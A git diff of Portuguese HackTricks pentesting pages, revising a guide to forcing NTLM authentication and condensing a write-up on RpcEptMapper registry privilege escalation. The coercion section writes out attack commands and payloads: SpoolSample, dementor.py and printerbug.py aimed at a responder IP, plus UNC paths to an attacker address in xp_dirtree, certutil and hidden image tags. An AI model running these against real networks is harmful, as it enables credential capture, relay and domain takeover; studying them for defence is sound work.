* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
```
|
||||||
|
|
|
@ -4,11 +4,11 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -18,18 +18,18 @@
|
||||||
|
|
||||||
## Abuso do Serviço Spooler
|
## Abuso do Serviço Spooler
|
||||||
|
|
||||||
Se o serviço _**Print Spooler**_ estiver **habilitado**, você pode usar algumas credenciais do AD já conhecidas para **solicitar** ao servidor de impressão do Controlador de Domínio uma **atualização** sobre novos trabalhos de impressão e simplesmente dizer para **enviar a notificação para algum sistema**.\
|
Se o serviço _**Print Spooler**_ estiver **ativado**, você pode usar algumas credenciais AD já conhecidas para **solicitar** ao servidor de impressão do Controlador de Domínio uma **atualização** sobre novos trabalhos de impressão e simplesmente pedir para **enviar a notificação para algum sistema**.\
|
||||||
Observe que quando a impressora envia a notificação para um sistema arbitrário, ela precisa **autenticar-se** nesse **sistema**. Portanto, um invasor pode fazer com que o serviço _**Print Spooler**_ se autentique em um sistema arbitrário, e o serviço **usará a conta do computador** nessa autenticação.
|
Note que quando a impressora envia a notificação para sistemas arbitrários, ela precisa **autenticar contra** esse **sistema**. Portanto, um atacante pode fazer com que o serviço _**Print Spooler**_ se autentique contra um sistema arbitrário, e o serviço usará a **conta do computador** nesta autenticação.
|
||||||
|
|
||||||
### Encontrando Servidores Windows no domínio
|
### Encontrando Servidores Windows no domínio
|
||||||
|
|
||||||
Usando o PowerShell, obtenha uma lista de máquinas Windows. Os servidores geralmente têm prioridade, então vamos nos concentrar neles:
|
Usando PowerShell, obtenha uma lista de caixas Windows. Servidores são geralmente prioridade, então vamos focar neles:
|
||||||
```bash
|
```bash
|
||||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||||
```
|
```
|
||||||
### Encontrando serviços de Spooler em execução
|
### Encontrando serviços Spooler ativos
|
||||||
|
|
||||||
Usando uma versão ligeiramente modificada do [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) do @mysmartlogin (Vincent Le Toux), verifique se o serviço de Spooler está em execução:
|
Usando uma versão ligeiramente modificada do [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) de @mysmartlogin (Vincent Le Toux), verifique se o Serviço Spooler está ativo:
|
||||||
```bash
|
```bash
|
||||||
. .\Get-SpoolStatus.ps1
|
. .\Get-SpoolStatus.ps1
|
||||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||||
|
@ -38,52 +38,40 @@ Você também pode usar o rpcdump.py no Linux e procurar pelo Protocolo MS-RPRN
|
||||||
```bash
|
```bash
|
||||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||||
```
|
```
|
||||||
### Solicitar que o serviço se autentique em um host arbitrário
|
### Peça ao serviço para se autenticar em um host arbitrário
|
||||||
|
|
||||||
Você pode compilar [**SpoolSample a partir daqui**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
Você pode compilar[ **SpoolSample daqui**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||||
```bash
|
```bash
|
||||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||||
```
|
```
|
||||||
ou use [**dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) do 3xocyte ou [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) se estiver no Linux.
|
ou use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) ou [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) se estiver no Linux
|
||||||
```bash
|
```bash
|
||||||
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
||||||
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||||
```
|
```
|
||||||
### Combinando com Delegação Irrestrita
|
### Combinando com Delegação Irrestrita
|
||||||
|
|
||||||
Se um invasor já comprometeu um computador com [Delegação Irrestrita](unconstrained-delegation.md), o invasor poderia **fazer com que a impressora se autentique neste computador**. Devido à delegação irrestrita, o **TGT** da **conta de computador da impressora** será **salvo na** **memória** do computador com delegação irrestrita. Como o invasor já comprometeu este host, ele será capaz de **recuperar esse ticket** e abusar dele ([Pass the Ticket](pass-the-ticket.md)).
|
Se um atacante já comprometeu um computador com [Delegação Irrestrita](unconstrained-delegation.md), o atacante poderia **fazer a impressora se autenticar contra este computador**. Devido à delegação irrestrita, o **TGT** da **conta do computador da impressora** será **salvo na** **memória** do computador com delegação irrestrita. Como o atacante já comprometeu este host, ele poderá **recuperar este ticket** e abusar dele ([Pass the Ticket](pass-the-ticket.md)).
|
||||||
|
|
||||||
## Autenticação Forçada de RCP
|
## RCP Forçar autenticação
|
||||||
|
|
||||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||||
|
|
||||||
## PrivExchange
|
## PrivExchange
|
||||||
|
|
||||||
O ataque `PrivExchange` resulta de uma falha no recurso de `PushSubscription` do servidor Exchange, que permite que **qualquer usuário de domínio com uma caixa de correio force o servidor Exchange a se autenticar** em qualquer host fornecido pelo cliente via HTTP.
|
O ataque `PrivExchange` é resultado de uma falha encontrada no **recurso `PushSubscription` do Exchange Server**. Este recurso permite que o servidor Exchange seja forçado por qualquer usuário do domínio com uma caixa de correio a se autenticar em qualquer host fornecido pelo cliente via HTTP.
|
||||||
|
|
||||||
O serviço Exchange é executado como **SYSTEM** e é **superprivilegiado** por padrão (ou seja, possui privilégios WriteDacl no domínio antes da Atualização Cumulativa de 2019). Essa falha pode ser aproveitada para **relay para o LDAP e despejar o banco de dados NTDS do domínio**. Se não for possível fazer o relay para o LDAP, isso pode ser aproveitado para fazer o relay e autenticar em **outros hosts** dentro do domínio. Este ataque o levará diretamente ao Administrador de Domínio com qualquer conta de usuário de domínio autenticada.
|
Por padrão, o **serviço Exchange é executado como SYSTEM** e é concedido privilégios excessivos (especificamente, possui **privilégios WriteDacl no domínio antes da Atualização Cumulativa de 2019**). Essa falha pode ser explorada para permitir o **retransmissão de informações para LDAP e subsequentemente extrair o banco de dados NTDS do domínio**. Em casos onde a retransmissão para LDAP não é possível, essa falha ainda pode ser usada para retransmitir e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida desse ataque concede acesso imediato ao Admin do Domínio com qualquer conta de usuário de domínio autenticada.
|
||||||
|
|
||||||
****[**Esta técnica foi copiada daqui.**](https://academy.hackthebox.com/module/143/section/1276)****
|
|
||||||
|
|
||||||
## Dentro do Windows
|
## Dentro do Windows
|
||||||
|
|
||||||
Se você já estiver dentro da máquina Windows, pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:
|
Se você já está dentro da máquina Windows, você pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:
|
||||||
|
|
||||||
### Defender MpCmdRun
|
### Defender MpCmdRun
|
||||||
```bash
|
```bash
|
||||||
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
||||||
```
|
```
|
||||||
### MSSQL
|
### MSSQL
|
||||||
|
|
||||||
O Microsoft SQL Server (MSSQL) é um sistema de gerenciamento de banco de dados relacional desenvolvido pela Microsoft. Ele é amplamente utilizado para armazenar e recuperar dados em aplicativos corporativos e de negócios.
|
|
||||||
|
|
||||||
MSSQL oferece recursos avançados, como suporte a transações, integridade de dados, segurança e escalabilidade. Ele também suporta a linguagem de consulta SQL para manipulação de dados e consultas.
|
|
||||||
|
|
||||||
Como um hacker, é importante entender o MSSQL e suas vulnerabilidades para explorar possíveis pontos fracos em um sistema. Isso pode incluir técnicas como injeção de SQL, ataques de força bruta, exploração de vulnerabilidades conhecidas e acesso não autorizado.
|
|
||||||
|
|
||||||
Ao realizar testes de penetração em um sistema MSSQL, é essencial seguir uma metodologia cuidadosa e ética para evitar danos ou violações de segurança. Isso pode incluir a obtenção de permissões adequadas, a obtenção de consentimento por escrito e a documentação de todas as atividades realizadas.
|
|
||||||
|
|
||||||
Lembre-se sempre de que a exploração de vulnerabilidades em sistemas MSSQL sem permissão é ilegal e pode resultar em consequências legais graves. É importante agir de forma responsável e ética ao realizar testes de penetração.
|
|
||||||
```sql
|
```sql
|
||||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||||
```
|
```
|
||||||
|
@ -91,39 +79,39 @@ Ou use esta outra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce
|
||||||
|
|
||||||
### Certutil
|
### Certutil
|
||||||
|
|
||||||
É possível usar o certutil.exe (binário assinado pela Microsoft) para forçar a autenticação NTLM:
|
É possível usar o lolbin certutil.exe (binário assinado pela Microsoft) para forçar a autenticação NTLM:
|
||||||
```bash
|
```bash
|
||||||
certutil.exe -syncwithWU \\127.0.0.1\share
|
certutil.exe -syncwithWU \\127.0.0.1\share
|
||||||
```
|
```
|
||||||
## Injeção de HTML
|
## Injeção de HTML
|
||||||
|
|
||||||
### Por meio de e-mail
|
### Via email
|
||||||
|
|
||||||
Se você conhece o **endereço de e-mail** do usuário que faz login em uma máquina que você deseja comprometer, você pode simplesmente enviar um **e-mail com uma imagem 1x1** como esta:
|
Se você conhece o **endereço de email** do usuário que acessa uma máquina que você deseja comprometer, você pode simplesmente enviar a ele um **email com uma imagem 1x1** como
|
||||||
```html
|
```html
|
||||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||||
```
|
```
|
||||||
e quando ele abrir, ele tentará autenticar.
|
e quando ele a abrir, ele tentará se autenticar.
|
||||||
|
|
||||||
### MitM
|
### MitM
|
||||||
|
|
||||||
Se você conseguir realizar um ataque MitM a um computador e injetar HTML em uma página que ele visualizará, você pode tentar injetar uma imagem como a seguinte na página:
|
Se você puder realizar um ataque MitM em um computador e injetar HTML em uma página que ele visualizará, você poderia tentar injetar uma imagem como a seguinte na página:
|
||||||
```html
|
```html
|
||||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||||
```
|
```
|
||||||
## Quebrando o NTLMv1
|
## Quebrando NTLMv1
|
||||||
|
|
||||||
Se você conseguir capturar os desafios NTLMv1, leia aqui como quebrá-los.\
|
Se você conseguir capturar [desafios NTLMv1 leia aqui como quebrá-los](../ntlm/#ntlmv1-attack).\
|
||||||
_Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"_
|
_Lembre-se de que para quebrar NTLMv1 você precisa definir o desafio do Responder para "1122334455667788"_
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,334 +2,54 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**Informação copiada de** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
|
**O post original está em** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
|
||||||
|
|
||||||
De acordo com a saída do script, o usuário atual tem algumas permissões de escrita em duas chaves de registro:
|
## Resumo
|
||||||
|
A saída do script indica que o usuário atual possui permissões de escrita em duas chaves de registro:
|
||||||
|
|
||||||
* `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
|
- `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
|
||||||
* `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
|
- `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
|
||||||
|
|
||||||
Vamos verificar manualmente as permissões do serviço `RpcEptMapper` usando a GUI `regedit`. Uma coisa que eu realmente gosto na janela _Configurações de Segurança Avançadas_ é a aba _Permissões Efetivas_. Você pode escolher qualquer nome de usuário ou grupo e ver imediatamente as permissões efetivas que são concedidas a esse principal sem a necessidade de inspecionar todos os ACEs separadamente. A captura de tela a seguir mostra o resultado para a conta de baixo privilégio `lab-user`.
|
Para investigar mais a fundo as permissões do serviço RpcEptMapper, o usuário menciona o uso da GUI regedit e destaca a utilidade da aba de Permissões Efetivas na janela de Configurações de Segurança Avançadas. Esta aba permite aos usuários verificar as permissões efetivas concedidas a um usuário ou grupo específico sem inspecionar os ACEs individuais.
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/02\_regsitry-rpceptmapper-permissions.png)
|
A captura de tela fornecida mostra as permissões para a conta de usuário lab-user com privilégios baixos. A maioria das permissões são padrão, como Consultar Valor, mas uma permissão se destaca: Criar Subchave. O nome genérico para esta permissão é AppendData/AddSubdirectory, o que está alinhado com o que foi relatado pelo script.
|
||||||
|
|
||||||
A maioria das permissões são padrão (por exemplo: `Query Value`), mas uma em particular se destaca: `Create Subkey`. O nome genérico correspondente a essa permissão é `AppendData/AddSubdirectory`, que é exatamente o que foi relatado pelo script:
|
O usuário prossegue explicando que isso significa que eles não podem modificar certos valores diretamente, mas podem apenas criar novas subchaves. Eles mostram um exemplo onde a tentativa de modificar o valor ImagePath resulta em um erro de acesso negado.
|
||||||
```
|
|
||||||
Name : RpcEptMapper
|
|
||||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
|
||||||
User : NT AUTHORITY\NetworkService
|
|
||||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
|
||||||
IdentityReference : NT AUTHORITY\Authenticated Users
|
|
||||||
Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
|
||||||
Status : Running
|
|
||||||
UserCanStart : True
|
|
||||||
UserCanRestart : False
|
|
||||||
|
|
||||||
Name : RpcEptMapper
|
No entanto, eles esclarecem que isso não é um falso positivo e que há uma oportunidade interessante aqui. Eles investigam a estrutura do registro do Windows e descobrem uma maneira potencial de aproveitar a subchave Performance, que não existe por padrão para o serviço RpcEptMapper. Esta subchave poderia potencialmente permitir o registro de DLL e monitoramento de desempenho, oferecendo uma oportunidade para escalonamento de privilégios.
|
||||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
|
||||||
User : NT AUTHORITY\NetworkService
|
|
||||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
|
||||||
IdentityReference : BUILTIN\Users
|
|
||||||
Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
|
||||||
Status : Running
|
|
||||||
UserCanStart : True
|
|
||||||
UserCanRestart : False
|
|
||||||
```
|
|
||||||
O que isso significa exatamente? Significa que não podemos simplesmente modificar o valor `ImagePath`, por exemplo. Para fazer isso, precisaríamos da permissão `WriteData/AddFile`. Em vez disso, só podemos criar uma nova subchave.
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03\_registry-imagepath-access-denied.png)
|
Eles mencionam que encontraram documentação relacionada à subchave Performance e como usá-la para monitoramento de desempenho. Isso os leva a criar uma DLL de prova de conceito e mostrar o código para implementar as funções necessárias: OpenPerfData, CollectPerfData e ClosePerfData. Eles também exportam essas funções para uso externo.
|
||||||
|
|
||||||
Isso significa que foi de fato um falso positivo? Certamente que não. Vamos começar a diversão!
|
O usuário demonstra testar a DLL usando rundll32 para garantir que ela funcione conforme o esperado, registrando informações com sucesso.
|
||||||
|
|
||||||
## RTFM <a href="#rtfm" id="rtfm"></a>
|
Em seguida, eles explicam que o desafio é enganar o serviço RPC Endpoint Mapper para carregar sua DLL de Performance. Eles mencionam que observaram seu arquivo de log sendo criado ao consultar classes WMI relacionadas a Dados de Desempenho no PowerShell. Isso permite que eles executem código arbitrário no contexto do serviço WMI, que é executado como LOCAL SYSTEM. Isso lhes proporciona acesso elevado e inesperado.
|
||||||
|
|
||||||
Neste ponto, sabemos que podemos criar subchaves arbitrárias em `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`, mas não podemos modificar subchaves e valores existentes. As subchaves já existentes são `Parameters` e `Security`, que são bastante comuns para serviços do Windows.
|
Em conclusão, o usuário destaca a persistência inexplicada dessa vulnerabilidade e seu impacto potencial, que pode se estender a pós-exploração, movimento lateral e evasão de antivírus/EDR.
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04\_registry-rpceptmapper-config.png)
|
Eles também mencionam que, embora inicialmente tenham tornado a vulnerabilidade pública involuntariamente por meio de seu script, seu impacto é limitado a versões não suportadas do Windows (por exemplo, Windows 7 / Server 2008 R2) com acesso local.
|
||||||
|
|
||||||
Portanto, a primeira pergunta que me veio à mente foi: _existe alguma outra subchave predefinida - como `Parameters` e `Security` - que poderíamos aproveitar para efetivamente modificar a configuração do serviço e alterar seu comportamento de alguma forma?_
|
|
||||||
|
|
||||||
Para responder a essa pergunta, meu plano inicial era enumerar todas as chaves existentes e tentar identificar um padrão. A ideia era ver quais subchaves são _significativas_ para a configuração de um serviço. Comecei a pensar em como poderia implementar isso em PowerShell e depois ordenar o resultado. No entanto, antes de fazer isso, me perguntei se essa estrutura de registro já estava documentada. Então, pesquisei algo como `windows service configuration registry site:microsoft.com` e aqui está o primeiro [resultado](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree) que apareceu.
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05\_google-search-registry-services.png)
|
|
||||||
|
|
||||||
Parece promissor, não é? À primeira vista, a documentação não parecia ser exaustiva e completa. Considerando o título, eu esperava ver algum tipo de estrutura de árvore detalhando todas as subchaves e valores que definem a configuração de um serviço, mas claramente não estava lá.
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06\_doc-registry-services.png)
|
|
||||||
|
|
||||||
Ainda assim, dei uma olhada rápida em cada parágrafo. E rapidamente identifiquei as palavras-chave "_**Performance**_" e "_**DLL**_". Sob o subtítulo "**Performance**", podemos ler o seguinte:
|
|
||||||
|
|
||||||
> **Performance**: _Uma chave que especifica informações para monitoramento opcional de desempenho. Os valores sob esta chave especificam **o nome da DLL de desempenho do driver** e **os nomes de certas funções exportadas nessa DLL**. Você pode adicionar entradas de valor a esta subchave usando entradas AddReg no arquivo INF do driver._
|
|
||||||
|
|
||||||
De acordo com este curto parágrafo, teoricamente, pode-se registrar uma DLL em um serviço de driver para monitorar seu desempenho graças à subchave `Performance`. **OK, isso é realmente interessante!** Esta chave não existe por padrão para o serviço `RpcEptMapper`, então parece ser _exatamente_ o que precisamos. Há um pequeno problema, no entanto, este serviço definitivamente não é um serviço de driver. De qualquer forma, ainda vale a pena tentar, mas precisamos de mais informações sobre esse recurso de "_Monitoramento de Desempenho_" primeiro.
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07\_sc-qc-rpceptmapper.png)
|
|
||||||
|
|
||||||
> **Nota:** no Windows, cada serviço tem um `Type` dado. Um tipo de serviço pode ser um dos seguintes valores: `SERVICE_KERNEL_DRIVER (1)`, `SERVICE_FILE_SYSTEM_DRIVER (2)`, `SERVICE_ADAPTER (4)`, `SERVICE_RECOGNIZER_DRIVER (8)`, `SERVICE_WIN32_OWN_PROCESS (16)`, `SERVICE_WIN32_SHARE_PROCESS (32)` ou `SERVICE_INTERACTIVE_PROCESS (256)`.
|
|
||||||
|
|
||||||
Após algumas pesquisas no Google, encontrei este recurso na documentação: [Criando a Chave de Desempenho da Aplicação](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key).
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08\_performance-subkey-documentation.png)
|
|
||||||
|
|
